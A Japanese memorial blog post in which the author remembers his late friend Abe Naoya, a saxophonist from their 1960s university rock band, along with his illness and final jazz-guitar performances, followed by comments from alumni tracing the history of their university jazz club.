プレミアムエイジ ジョインブログ
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悲しみ

無題2

昨夜、友人の訃報が届いた。彼の名は阿部直哉。以降「直哉」と記す。それが僕等学生バンド時代の仲間の呼び方だったから。学生バンドの名前は「ザ・ストレンジャーズ」。大学の同期で結成したバンドだった。4年間行動を共にした仲間だ。彼がサックスで僕がドラムだ。その彼が亡くなったとの報告が来たのだった。

僕は、この日の来ないことを秘かに祈っていた。3年前の秋、彼が年1回主催するライブに行った時のこと。場所は東中野の「ドラム」というライブ・ハウスだ。ピアノ・ベース・ドラムの3人のプロのトリオを従えて、直哉は堂々とサックスを演奏していた。彼の演奏もプロはだしだから、何ともハイレベルな贅沢なジャズの空間と時間を過ごさせて貰っていた。

だが、一寸気になることがあった。直哉が1曲終ると自らMCをやるののは、いつものライブと一緒だ。演奏も勿論だが、己の半生を振り返り、いろいろなエピソードを語るMCも直哉の人気の理由の一つだった。ところがその日は、息切れをしているような喋り方なのだ。相当にサックスを頑張った後だからかなとも思ったが、後半のMCは特にそれが気になった。

翌日、「MCで息が少し苦しそうだったけど大丈夫?」とメールした。その返事には「そうなんだ。最近息切れが酷いし、痰も出るので医者に行ってみるよ」とあった。それがいい。医者に診て貰えば安心と思い、それ以来、彼の体調のことは忘れていた。

2ヶ月ほど経った時、直哉から東中野の「ドラム」でセッションやらないかとお誘いがあった。この店のオーナーは、僕より10歳も年上のプロのドラマーで、直哉に誘われて行く度に、僕にドラムのコーチをやってくれる親切な人なのだ。ジャズ・ドラムの基本をこの人からかなり丁寧に教わった。

そういう店なので、直哉から声が掛れば最優先で行っていた店だ。ところが、その日店に着いてみると、彼はサックスでなくギターを持ち込んでいた。彼は言った。「医者が言うには、普通は風船のように柔らかい肺の外郭が硬くなってしまっているらしい。病名は『間質性肺炎』という難病だ」と。だから、サックスはもうやめてジャズ・ギターに転向したのだと言う。

根本的な治療法はなく完全治癒することはないそうで、悪化すると命にも関わる病だと医者に脅された。かなり激しい副作用を伴うが、ステロイド治療で更なる悪化を避けることは可能だが、それを服用すると普通の生活が難しく外出も出来なくなるとのことで、好きなゴルフ(ご夫婦で週一のゴルフ)に行けなくなるので、彼はその劇薬は選択せず漢方薬を服用している。

原因は以前の喫煙だそうだ。彼は、若かりし頃ヘビー・スモーカーだったが、30年前に大変苦しみながらも禁煙を成し遂げた人だ。その頃も勿論彼をよく知っている。それなのに、そんな昔の喫煙が原因で、今頃酷い症状が出るというのは何とも理不尽なものである。

直哉はギターでジャズを2曲演奏した。それがとても良いのだ。なかなか聞かせてくれる。曲によってはサックスよりもギターの方が人の心に響くものがある。勿論そうは言えなかったが。この辺りが直哉の凄いところだと思う。

翌年、直哉は恒例のサックス・ライブではなく、ジャズ・ギター・ライブを巣鴨のライブ・ハウスで敢行した。彼の師匠のピアニストが奥様と2人でお店を巣鴨に出したことを祝ってのライブだ。師匠に鍛えられたジャズ・サックスのアドリブを、ギターで再現しただけと直哉は謙虚に言うけれど、どうしてどうして、グルーブ感満載の素敵なライブだった。

当然翌2017年も彼のライブには行くつもりでいたが、昨年は、体調を崩しているので、毎年開催してきたライブは中止する旨のお知らせが届いたのだった。結局、2016年4月の巣鴨のライブが、直哉の最後のライブになってしまった。

学生の時、ザ・ストレンジャーズが、レコード大賞を獲ったばかりのブルー・コメッツの公演の前座を務めたことがある。そのステージで直哉が吹いた「ピーターガンのテーマ」は、ロック・サックスの見本のような迫力ある演奏だったことなどが蘇る。学生主催のダンス・パーティーでは、彼の演奏による「太陽のかけら」が、恋人たちのチークタイムに絶大な人気があった。

学生バンドとして様々な活動が出来たのも、直哉というスター・プレーヤーがいてくれたからこそだった。今も、僕がライブ活動を行えるのも、元を正せば直哉と、そしてストレンジャーズのメンバー達と巡り会えたから今がある。

直哉を失った悲しさと淋しさは、思い出で埋めて行くとしよう。ただただ、ご冥福を祈る。

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12 comments

1 爵士 { 09.09.18 at 5:12 pm }

Sが逝き、Oが逝き、そして直哉が ・・・。すこしづつ歯の抜けるように。ともあれ、感謝と冥福を祈るのみ。

2 高橋康弘 { 12.02.18 at 10:57 pm }

初めてご連絡差し上げます。
高橋康弘と申します。51Aでジャズ研部員でした。
実は、この11月に、阿部先輩がジャズ研を創部されたようだということを、阿部先輩のいとこにあたるかたの娘さんに伺って、ドラムでのライブのフライヤーに書かれていたアドレスにメールを差し上げたのですが、お返事がないので、迷惑メールとして届いていないのかもしれない、電話も書いてあったので電話してみようと考えていたところでした。それにつけても、阿部先輩がどのような活動をされているのか、最低でもネットに載っていることは事前に知っておかないと失礼に当たると思って、ネットを検索したところ、貴ブログに行きついて、阿部先輩が亡くなったことを知りました。なんと申し上げて良いか。。。あと半年、あと三か月早く連絡を差し上げていればと思うと残念でなりません。
神童覇道さまは阿部先輩と同期で演奏活動もご一緒になさっていた由、よろしければ当時のお話を伺えればと思います。

3 シンドバッド { 12.03.18 at 9:56 pm }

高橋康弘 様

思いがけず、大学の後輩が、阿部直哉の記事を探して探して、やっとこの悲しい記事に辿り着いてくれたことに感動を覚えます。そしてコメントを頂き感謝します。

しかしながら、貴兄の所属されていたジャズ研は、阿部直哉や私たちがが始めたサークルとは別かも知れませんね。当Premium Age の「Jazzyな生活」の筆者「大屋地爵士」も私たちのバンド・メンバーで、全員昭和44年3月の卒業組です。
名前は「ザ・ストレンジャーズ」というロック・バンドで、今もその名前で後輩たちが仙台で活動しているようです。
直哉は当時、仙台の学生バンドの中では、抜きん出たスター・サックス奏者でした。ロック・サックスの技術・リズム感、それと彼の風貌・ルックスなどが当時の女子大生には大人気でした。
そんなこともあり、私たちがレコード大賞を獲った直後のブルー・コメッツの仙台公演の前座を務めることになったものです。その辺りの経緯については、当ブログ2014年8月「リーダーは偉い」をご参照ください。
そんな彼も、61歳で退職した後は良き師匠(ジャズ・ピアニスト)に巡り合い、ジャズ・サックスに打ち込んでメキメキ上達し、プロのピアノ・トリオを従がえて年一回のライブを実施するに至ったのでした。
最後は肺がダメになり、ジャズ・ギターに持ち替えてライブを開催したほどに、ジャズを愛していました。本当に惜しい音楽仲間を失ってしまいました。

4 高橋康弘 { 12.18.18 at 4:27 pm }

神童覇道様

お返事を戴き、感謝に堪えません。
ザ・ストレンジャーズは、私の在学中もロックバンドとして健在で、活発に活動していたと記憶しています。現在、同期のJazz研メンバーと組んでいるバンドのギターは、ストレン出身です。
ザ・ストレンジャーズを創部されたのが神童覇道様や阿部様だということは、彼も全く知らないと思います。もちろん、創部したばかりのザ・ストレンジャーズがブルーコメッツの前座を務めたことも知る由もないと思います。近々彼に会うので、ぜひ貴ブログを読むように伝えます!!
それにつけても、Jazz研の創部がいつでどなたがつくったのか、ルーツはまたまた謎のままになりました。なにか情報がございましたなら、お手数ですが、お教えくださいますようお願いいたします。
これからも、お元気で音楽活動を楽しまれますようお祈り申し上げます。
                        高橋康弘

5 シンドバッド { 12.18.18 at 9:49 pm }

高橋様

僕らの大学生活は昭和40年から44年3月までですが、同じ軽音学部に「ファイブスポッツ」という僕等より2~3年先輩のモダンジャズのバンドがありました。
「テイク・ファイブ」とか「ファイブ・スポット・アフター・ダーク」「ソング・フォー・マイ・ファーザー」など私が大好きなジャズを演奏していました。多分、当時の仙台の学生バンドの世界ではあそこまでプロはだしのコンボは無かったと思います。何人か本気でプロを目指していましたから。
もしかしたら、彼らがジャズ研の走りではないかと、勝手に想像しますが、違うかも知れません。何かのキッカケで初代が見付かると良いですね。

6 大屋地 爵士 { 12.19.18 at 10:10 am }

「ファイブスポッツ」と並んで「プリーチャーズ/The Preachers」というバンドもありました。

7 高橋康弘 { 12.20.18 at 10:51 am }

神童覇道様,大屋地 爵士様

貴重な情報、誠にありがとうございます!!
ファイブスポッツは名前を聞いたことがあります。
現在のバンドメンバーにジャズ研のルーツを
長年調査している者がおり、彼が集めた名簿をもとに
ジャズ研の後輩たちが卒業生名簿を作って公開しています。
http://www.geocities.jp/tohoku_jazzken/members/ob.html
1967、8年というと、昭和42、3年ですので、
神童覇道様、大屋地 爵士様とちょうど同じ頃に在学していた
先輩方です。お知り合いの方はこの中にいらっしゃいますでしょうか?

高橋康弘

8 シンドバッド { 12.21.18 at 2:12 pm }

高橋康弘様
名簿を見ましたが、残念ながら心当たりのある方はいませんね。
と言うより、50年も前なので、名前だけではどうにも思い出せません。でも、ジャズ研の後輩が歴代のジャズ研メンバーの名簿を作ろうと努力している姿を知って感動しました。音楽を通じて時空を超えて繋がっている素晴らしさに。

9 高橋康弘 { 12.23.18 at 12:04 am }

シンドバッドさま

お目を通していただき誠にありがとうございます。
そうですね、50年前。。。半世紀ですね。
同じバンドならまだしも、ほかのバンドのメンバーは
覚えてらっしゃらないのは当然ですね。私も、当時ストレン所属の
ジャコパストリアスを追いかけていたテクニシャンベーシスト
がいたことは覚えていますが、名前は全く思い出せません(^-^;

つい一昨日のことですが、私の在学中の記憶に、
医学部にJazz研(?)があったのを思い出して、
Jazz研OBのメーリングリストに、医学部関連の
調査をしたら何かわかるのではないかと投稿した
ところ、医学部昭和38年卒業の今井さんという、
眼科の先生が、ギターとヴィブラフォンを加えた
クインテット(だと思います)のピアニストだったことが
判明しました。
少し、そちら方面から調査したいと思います。

仰るように、親子、それ以上の歳の差でも、音楽を
一緒にすると、一瞬で気持ちが繋がります。
Jazzを、音楽をやっていてほんとうによかったなぁ、
と思います。
シンドバッド様とも、いつかどこかでご一緒することが
あるかもしれません。その時は、どうぞよろしくお願い
いたします。

ありがとうございました。

高橋康弘

10 norio { 12.23.18 at 7:36 am }

52Lの町田と申します。投稿している康弘氏とはジャズ研時代からの仲間で、今も当時のメンバーとjazzdaysというバンドを組んでときどきフェスに出させてもらっております。
ストレンジャーズの創設当時の話や1960年代の軽音楽部の話をとても興味深く読ませてもらいました。私自身もサックスをやってきたので、阿部さんの演奏を是非とも聞きたかったです。ご冥福をお祈りいたします。

私が入部した当時(1978年)のジャズ研は第2サークル棟(川内キャンパス内の郵便局の上あたり)の2Fの端にあり、既にファイブスポッツやプリーチャーズではなくジャズ研を称しておりました。後に防音設備の完備した音系サークル棟が建てられ、軽音楽部系のジャズ研、ストレンジャーズ、アステロイズ、そしてフォークソング研究会(サークル協議会系)が収まり、そのまま現在に至っている?と思います。
シンドバッドさんや爵士さんのころは川内ではなく片平が拠点だったのでしょうか(当時も片平に軽音楽部の部室がありましたが誰も使っていませんでした)。

軽音楽部ですが、第2サークル棟のいたずら書きからカウラナアイランダースという名前のバンドが存在したことを知りました。名前からしてハワイアンバンドだったんでしょうね。ジャズ、ロック、ハワイアンとずいぶん幅広く活動していたのですね。

1年前になりますが、楽器持ち寄りでジャズ研のOB会があり40人近くが集まりました。まさに時空を超えて音楽でつながる機会となったわけで、みな青春時代に戻り、なんと年齢差40才のセッションが実現しました。細々ながらも楽器を続けてきて本当によかったなと思った瞬間でした。もうがむしゃらに練習に打ち込む年でもなく、下手の横好きと言われようとこれからも末永く付き合っていきたいものです。機会があればシンドバッド先輩や爵士先輩ともセッションができれば楽しいでしょうね。

11 大屋地 爵士 { 12.23.18 at 10:30 am }

町田さん 新参者だったストレンジャーズは、部室を使わせてもらえなかったので、ストレンジャーズというより軽音楽部の部室は、多分、川内の同じ建物にあったと思います。練習場は、確か郵便局の向かいぐらいにあった学生食堂を営業時間後に借りて行っていました。
カウラナアイランダース、懐かしい名前ですね。当時ダンスパーティの人気バンド。軽音楽部のリーダー的存在だったと思います。私の友人のK君はベースを、同期のY君はスティールGを担当していました。十八番の「熱風」という曲はいまでもよく覚えています。
高橋さん、町田さんのコメントで一気に50年前の記憶がよみがえったような気がします。

12 シンドバッド { 12.23.18 at 12:31 pm }

高橋さん
確か、プリーチャーズは医学部のジャズ・バンドだったと思います。当時、駅前の青葉会館というビルに貸しホールがあって、そこで大学のいろいろなサークルが資金集めのためにダンスパーティーを開催していて、僕等も頻繁にそのパーティーに呼ばれて演奏しましたが、たまに対バンでプリーチャーズやファイブスポッツと一緒になったりしました。
高橋さんの言うお医者さんのバンドは、もしかしたらプリーチャーズだったかも知れないし、また、ファイブ・スポッツにも医学部の学生がいましたのでそちらかも知れないと思った次第。

町田さん
ジャズ研はOB会があるんですねぇ。素晴らしいことです。ストレンはロック系でしたが、「カミング・ホーム・ベイビー」(ハービーマン)とか「ザ・キャット」(ジミー・スミス)「キャラバン」(アート・ブレーキ―)なども良く演奏しました。メンバーは本当はジャズが好きだったのかも知れません(笑)。
バンドは違いますが、今度ジャズ研OB会があったら声を掛けて貰えたら嬉しいです。
私も来年6回目の年男を迎えますが、下手の横好きで3つほどのバンドでドラムを叩いています。親子のような人達とセッション出来たらきっと幸せだろうなと想像しています。

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